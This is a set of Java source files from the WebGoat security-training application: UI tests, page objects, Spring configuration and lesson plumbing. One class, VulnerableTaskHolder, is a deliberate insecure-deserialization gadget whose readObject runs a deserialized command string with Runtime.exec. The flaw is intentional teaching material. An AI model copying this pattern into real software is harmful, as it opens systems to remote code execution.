* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import lombok.Getter;
public class WebGoatLoginPage {
private final Page page;
@Getter private final Locator signInButton;
public WebGoatLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in"));
}
public void open() {
page.navigate(webGoatUrl("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByPlaceholder("Password").fill(password);
page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in")).click();
}
}

View File

@@ -0,0 +1,28 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
@Getter
public class HttpBasicsLessonPage extends LessonPage {
private final Locator enterYourName;
private final Locator goButton;
public HttpBasicsLessonPage(Page page) {
super(page);
enterYourName = page.locator("input[name=\"person\"]");
goButton = page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Go!"));
}
public Locator getTitle() {
return getPage()
.getByRole(AriaRole.HEADING, new Page.GetByRoleOptions().setName("HTTP Basics"));
}
}

View File

@@ -0,0 +1,72 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
import org.assertj.core.api.Assertions;
import org.owasp.webgoat.container.lessons.LessonName;
@Getter
public class LessonPage {
private final Page page;
public LessonPage(Page page) {
this.page = page;
}
public void navigateTo(int pageNumber) {
page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("" + pageNumber)).click();
}
public void open(LessonName lessonName) {
page.navigate(webGoatUrl("start.mvc#lesson/%s".formatted(lessonName.lessonName())));
}
/**
* Force a reload for the UI to response, this is normally done by a JavaScript reloading every 5
* seconds
*/
public void refreshPage() {
page.reload();
}
public void resetLesson(LessonName lessonName) {
Assertions.assertThat(
page.request()
.get(webGoatUrl("service/restartlesson.mvc/%s".formatted(lessonName)))
.ok())
.isTrue();
refreshPage();
}
public int numberOfAssignments() {
return page.locator(".attack-link.solved-false").count()
+ page.locator(".attack-link.solved-true").count();
}
public boolean isAssignmentSolved(int pageNumber) {
var solvedAssignments = page.locator(".attack-link.solved-true");
solvedAssignments.waitFor();
return solvedAssignments.all().stream().anyMatch(l -> l.textContent().equals("" + pageNumber));
}
public boolean noAssignmentsCompleted() {
return page.locator(".attack-link.solved-true").count() == 0;
}
public Locator getAssignmentOutput() {
return page.locator("#lesson-content-wrapper");
}
public Locator getHintsOutput() {
return page.locator("#lesson-hint");
}
}

View File

@@ -0,0 +1,36 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
class JwtUITest extends PlaywrightTest {
@Test
void shouldDecodeJwt(Browser browser) {
var page = Authentication.sylvester(browser);
var secretKey = "test";
var jwt =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";
page.navigate(webWolfURL("jwt"));
page.getByPlaceholder("Enter your secret key").fill(secretKey);
page.getByPlaceholder("Paste token here").type(jwt);
assertThat(page.locator("#header"))
.hasValue("{\n \"alg\" : \"HS256\",\n \"typ\" : \"JWT\"\n}");
assertThat(page.locator("#payload"))
.hasValue(
"{\n"
+ " \"iat\" : 1516239022,\n"
+ " \"name\" : \"John Doe\",\n"
+ " \"sub\" : \"1234567890\"\n"
+ "}");
}
}

View File

@@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
public class LoginUITest extends PlaywrightTest {
@Test
void login(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebWolfLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
assertThat(loginPage.getSignInButton()).not().isVisible();
// logout
loginPage.logout();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@@ -0,0 +1,41 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webWolfURL;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class WebWolfLoginPage {
private final Page page;
@Getter private final Locator signInButton;
private final Locator signOutButton;
public WebWolfLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign In"));
this.signOutButton =
this.page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("Sign out"));
}
public void open() {
page.navigate(webWolfURL("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username WebGoat").fill(username);
page.getByPlaceholder("Password WebGoat").fill(password);
signInButton.click();
}
public void logout() {
this.signOutButton.click();
}
}

View File

@@ -0,0 +1,78 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import lombok.extern.slf4j.Slf4j;
@Slf4j
// TODO move back to lesson
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName="
+ taskName
+ ", taskAction="
+ taskAction
+ ", requestedExecutionTime="
+ requestedExecutionTime
+ "]";
}
/**
* Execute a task when de-serializing a saved or received object.
*/
private void readObject(ObjectInputStream stream) throws Exception {
// unserialize data so taskName and taskAction are available
stream.defaultReadObject();
// do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
if (requestedExecutionTime != null
&& (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
// do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
// condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
}

View File

@@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
public AjaxAuthenticationEntryPoint(String loginFormUrl) {
super(loginFormUrl);
}
@Override
public void commence(
HttpServletRequest request,
HttpServletResponse response,
AuthenticationException authException)
throws IOException, ServletException {
if (request.getHeader("x-requested-with") != null) {
response.sendError(401, authException.getMessage());
} else {
super.commence(request, response, authException);
}
}
}

View File

@@ -0,0 +1,147 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import static org.asciidoctor.Asciidoctor.Factory.create;
import jakarta.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringWriter;
import java.util.Locale;
import java.util.Map;
import java.util.Set;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.Attributes;
import org.asciidoctor.Options;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.container.asciidoc.*;
import org.owasp.webgoat.container.i18n.Language;
import org.springframework.core.io.ResourceLoader;
import org.springframework.http.HttpHeaders;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
/**
* Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
*
* <p><code>
* <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
* </code>
*/
@Slf4j
public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
private static final Asciidoctor asciidoctor = create();
private static final String PREFIX = "doc:";
private final Language language;
private final ResourceLoader resourceLoader;
public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
this.language = language;
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
protected ITemplateResource computeTemplateResource(
IEngineConfiguration configuration,
String ownerTemplate,
String template,
String resourceName,
String characterEncoding,
Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());
log.debug("template used: {}", templateName);
try (InputStream is = getInputStream(templateName)) {
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
extensionRegistry.inlineMacro("username", UsernameMacro.class);
StringWriter writer = new StringWriter();
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new StringTemplateResource(writer.getBuffer().toString());
} catch (IOException e) {
return new StringTemplateResource(
"<div>Unable to find documentation for: " + templateName + " </div>");
}
}
private InputStream getInputStream(String templateName) throws IOException {
log.debug("locale: {}", language.getLocale().getLanguage());
String computedResourceName =
computeResourceName(templateName, language.getLocale().getLanguage());
if (resourceLoader
.getResource("classpath:/" + computedResourceName)
.isReadable() /*isFile()*/) {
log.debug("localized file exists");
return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream();
} else {
log.debug("using english template");
return resourceLoader.getResource("classpath:/" + templateName).getInputStream();
}
}
private String computeResourceName(String resourceName, String language) {
String computedResourceName;
if (language.equals("en")) {
computedResourceName = resourceName;
} else {
computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc"));
}
log.debug("computed local file name: {}", computedResourceName);
log.debug(
"file exists: {}",
resourceLoader.getResource("classpath:/" + computedResourceName).isReadable());
return computedResourceName;
}
private Options createAttributes() {
return Options.builder()
.attributes(
Attributes.builder()
.attribute("source-highlighter", "coderay")
.attribute("backend", "xhtml")
.attribute("lang", determineLanguage())
.attribute("icons", org.asciidoctor.Attributes.FONT_ICONS)
.build())
.build();
}
private String determineLanguage() {
HttpServletRequest request =
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
Locale browserLocale =
(Locale)
request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME);
if (null != browserLocale) {
log.debug("browser locale {}", browserLocale);
return browserLocale.getLanguage();
} else {
String langHeader = request.getHeader(HttpHeaders.ACCEPT_LANGUAGE);
if (null != langHeader) {
log.debug("browser locale {}", langHeader);
return langHeader.substring(0, 2);
} else {
log.debug("browser default english");
return "en";
}
}
}
}

View File

@@ -0,0 +1,18 @@
/*
* SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal
public @interface CurrentUser {}

View File

@@ -0,0 +1,18 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal(expression = "#this.getUsername()")
public @interface CurrentUsername {}

View File

@@ -0,0 +1,71 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.util.Map;
import java.util.function.Function;
import javax.sql.DataSource;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.flywaydb.core.Flyway;
import org.owasp.webgoat.container.service.RestartLessonService;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
@Configuration
@RequiredArgsConstructor
@Slf4j
public class DatabaseConfiguration {
private final DataSourceProperties properties;
@Bean
@Primary
public DataSource dataSource() {
DriverManagerDataSource dataSource = new DriverManagerDataSource();
dataSource.setDriverClassName(properties.getDriverClassName());
dataSource.setUrl(properties.getUrl());
dataSource.setUsername(properties.getUsername());
dataSource.setPassword(properties.getPassword());
return dataSource;
}
/**
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
* and 1 for lesson specific tables we use. This way we clean the data in the lesson database
* quite easily see {@link RestartLessonService#restartLesson(String, WebGoatUser)} for how we
* clean the lesson related tables.
*/
@Bean(initMethod = "migrate")
public Flyway flyWayContainer() {
return Flyway.configure()
.configuration(Map.of("driver", properties.getDriverClassName()))
.dataSource(dataSource())
.schemas("container")
.locations("db/container")
.load();
}
@Bean
public Function<String, Flyway> flywayLessons() {
return schema ->
Flyway.configure()
.configuration(Map.of("driver", properties.getDriverClassName()))
.schemas(schema)
.cleanDisabled(false)
.dataSource(dataSource())
.locations("lessons")
.load();
}
@Bean
public LessonDataSource lessonDataSource(DataSource dataSource) {
return new LessonDataSource(dataSource);
}
}

View File

@@ -0,0 +1,27 @@
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.container.session.Course;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView;
@Controller
@AllArgsConstructor
public class HammerHead {
private final Course course;
/** Entry point for WebGoat, redirects to the first lesson found within the course. */
@RequestMapping(
path = "/attack",
method = {RequestMethod.GET, RequestMethod.POST})
public ModelAndView attack() {
return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
}
}

View File

@@ -0,0 +1,74 @@
/*
* SPDX-FileCopyrightText: Copyright © 2021 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.PrintWriter;
import java.lang.reflect.Proxy;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.sql.DataSource;
import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
import org.springframework.jdbc.datasource.ConnectionProxy;
public class LessonDataSource implements DataSource {
private final DataSource originalDataSource;
public LessonDataSource(DataSource dataSource) {
this.originalDataSource = dataSource;
}
@Override
public Connection getConnection() throws SQLException {
var targetConnection = originalDataSource.getConnection();
return (Connection)
Proxy.newProxyInstance(
ConnectionProxy.class.getClassLoader(),
new Class[] {ConnectionProxy.class},
new LessonConnectionInvocationHandler(targetConnection));
}
@Override
public Connection getConnection(String username, String password) throws SQLException {
return originalDataSource.getConnection(username, password);
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return originalDataSource.getLogWriter();
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
originalDataSource.setLogWriter(out);
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
originalDataSource.setLoginTimeout(seconds);
}
@Override
public int getLoginTimeout() throws SQLException {
return originalDataSource.getLoginTimeout();
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return originalDataSource.getParentLogger();
}
@Override
public <T> T unwrap(Class<T> clazz) throws SQLException {
return originalDataSource.unwrap(clazz);
}
@Override
public boolean isWrapperFor(Class<?> clazz) throws SQLException {
return originalDataSource.isWrapperFor(clazz);
}
}

View File

@@ -0,0 +1,46 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.IOException;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.regex.Pattern;
import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.support.ResourcePatternResolver;
import org.springframework.stereotype.Component;
@Component
@Slf4j
public class LessonResourceScanner {
private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
@Getter private final Set<String> lessons = new HashSet<>();
public LessonResourceScanner(ResourcePatternResolver resourcePatternResolver) {
try {
var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
for (var resource : resources) {
// WG can run as a fat jar or as directly from file system we need to support both so use
// the URL
var url = resource.getURL();
var matcher = lessonPattern.matcher(url.toString());
if (matcher.matches()) {
lessons.add(matcher.group(1));
}
}
log.debug("Found {} lessons", lessons.size());
} catch (IOException e) {
log.warn("No lessons found...");
}
}
public List<String> applyPattern(String pattern) {
return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList();
}
}

View File

@@ -0,0 +1,72 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ResourceLoader;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
/**
* Dynamically resolve a lesson. In the html file this can be invoked as: <code>
* <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
* </code>
*
* <p>Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve
* the html in the plugins directory
*/
@Slf4j
public class LessonTemplateResolver extends FileTemplateResolver {
private static final String PREFIX = "lesson:";
private final ResourceLoader resourceLoader;
private final Map<String, byte[]> resources = new HashMap<>();
public LessonTemplateResolver(ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
protected ITemplateResource computeTemplateResource(
IEngineConfiguration configuration,
String ownerTemplate,
String template,
String resourceName,
String characterEncoding,
Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());
byte[] resource = resources.get(templateName);
if (resource == null) {
resource = loadAndCache(templateName);
}
if (resource == null) {
return new StringTemplateResource("Unable to find lesson HTML: %s".formatted(templateName));
}
return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
}
private byte[] loadAndCache(String templateName) {
try {
var resource =
resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes();
resources.put(templateName, resource);
return resource;
} catch (IOException e) {
log.error(
"Unable to find lesson HTML: '{}', does the name of HTML file name match the lesson class name?",
templateName);
return null;
}
}
}

View File

@@ -0,0 +1,232 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Map;
import java.util.Set;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.container.i18n.Language;
import org.owasp.webgoat.container.i18n.Messages;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.session.LabelDebugger;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.ResourceLoader;
import org.springframework.core.io.support.ResourcePatternResolver;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.ViewResolver;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
import org.thymeleaf.spring6.SpringTemplateEngine;
import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
import org.thymeleaf.spring6.view.ThymeleafViewResolver;
import org.thymeleaf.templatemode.TemplateMode;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresolver.ITemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
/** Configuration for Spring MVC */
@Configuration
@RequiredArgsConstructor
@Slf4j
public class MvcConfiguration implements WebMvcConfigurer {
private static final String UTF8 = "UTF-8";
private final LessonResourceScanner lessonScanner;
@Override
public void addViewControllers(ViewControllerRegistry registry) {
registry.addViewController("/login").setViewName("login");
registry.addViewController("/lesson_content").setViewName("lesson_content");
registry.addViewController("/start.mvc").setViewName("main_new");
}
@Bean
public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
ThymeleafViewResolver resolver = new ThymeleafViewResolver();
resolver.setTemplateEngine(thymeleafTemplateEngine);
resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
return resolver;
}
/**
* Responsible for loading lesson templates based on Thymeleaf, for example:
*
* <p><div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
*/
@Bean
public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
var resolver =
new FileTemplateResolver() {
@Override
protected ITemplateResource computeTemplateResource(
IEngineConfiguration configuration,
String ownerTemplate,
String template,
String resourceName,
String characterEncoding,
Map<String, Object> templateResolutionAttributes) {
try (var is =
resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
return new StringTemplateResource(
new String(is.readAllBytes(), StandardCharsets.UTF_8));
} catch (IOException e) {
return null;
}
}
};
resolver.setOrder(1);
return resolver;
}
/** Loads all normal WebGoat specific Thymeleaf templates */
@Bean
public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
resolver.setPrefix("classpath:/webgoat/templates/");
resolver.setSuffix(".html");
resolver.setTemplateMode(TemplateMode.HTML);
resolver.setOrder(2);
resolver.setCharacterEncoding(UTF8);
resolver.setApplicationContext(applicationContext);
return resolver;
}
/** Loads the html for the complete lesson, see lesson_content.html */
@Bean
public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
resolver.setOrder(0);
resolver.setCacheable(false);
resolver.setCharacterEncoding(UTF8);
return resolver;
}
/** Loads the lesson asciidoc. */
@Bean
public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(
Language language, ResourceLoader resourceLoader) {
log.debug("template locale {}", language);
AsciiDoctorTemplateResolver resolver =
new AsciiDoctorTemplateResolver(language, resourceLoader);
resolver.setCacheable(false);
resolver.setOrder(1);
resolver.setCharacterEncoding(UTF8);
return resolver;
}
@Bean
public SpringTemplateEngine thymeleafTemplateEngine(
ITemplateResolver springThymeleafTemplateResolver,
LessonTemplateResolver lessonTemplateResolver,
AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
ITemplateResolver lessonThymeleafTemplateResolver) {
SpringTemplateEngine engine = new SpringTemplateEngine();
engine.setEnableSpringELCompiler(true);
engine.addDialect(new SpringSecurityDialect());
engine.setTemplateResolvers(
Set.of(
lessonTemplateResolver,
asciiDoctorTemplateResolver,
lessonThymeleafTemplateResolver,
springThymeleafTemplateResolver));
return engine;
}
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
// WebGoat internal
registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/");
registry
.addResourceHandler("/plugins/**")
.addResourceLocations("classpath:/webgoat/static/plugins/");
registry
.addResourceHandler("/fonts/**")
.addResourceLocations("classpath:/webgoat/static/fonts/");
// WebGoat lessons
registry
.addResourceHandler("/images/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
registry
.addResourceHandler("/lesson_js/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
registry
.addResourceHandler("/lesson_css/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
registry
.addResourceHandler("/lesson_templates/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
registry
.addResourceHandler("/video/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
}
@Bean
public PluginMessages pluginMessages(
Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
pluginMessages.setDefaultEncoding("UTF-8");
pluginMessages.setBasenames("i18n/WebGoatLabels");
pluginMessages.setFallbackToSystemLocale(false);
return pluginMessages;
}
@Bean
public Language language(LocaleResolver localeResolver) {
return new Language(localeResolver);
}
@Bean
public LocaleResolver localeResolver() {
SessionLocaleResolver localeResolver = new SessionLocaleResolver();
return localeResolver;
}
@Bean
public LocaleChangeInterceptor localeChangeInterceptor() {
LocaleChangeInterceptor lci = new LocaleChangeInterceptor();
lci.setParamName("lang");
return lci;
}
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(localeChangeInterceptor());
registry.addInterceptor(new UserInterceptor());
}
@Bean
public Messages messageSource(Language language) {
Messages messages = new Messages(language);
messages.setDefaultEncoding("UTF-8");
messages.setBasename("classpath:i18n/messages");
messages.setFallbackToSystemLocale(false);
return messages;
}
@Bean
public LabelDebugger labelDebugger() {
return new LabelDebugger();
}
}

View File

@@ -0,0 +1,57 @@
/*
* SPDX-FileCopyrightText: Copyright © 2023 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.owasp.webgoat.container.asciidoc.EnvironmentExposure;
import org.springframework.core.env.Environment;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
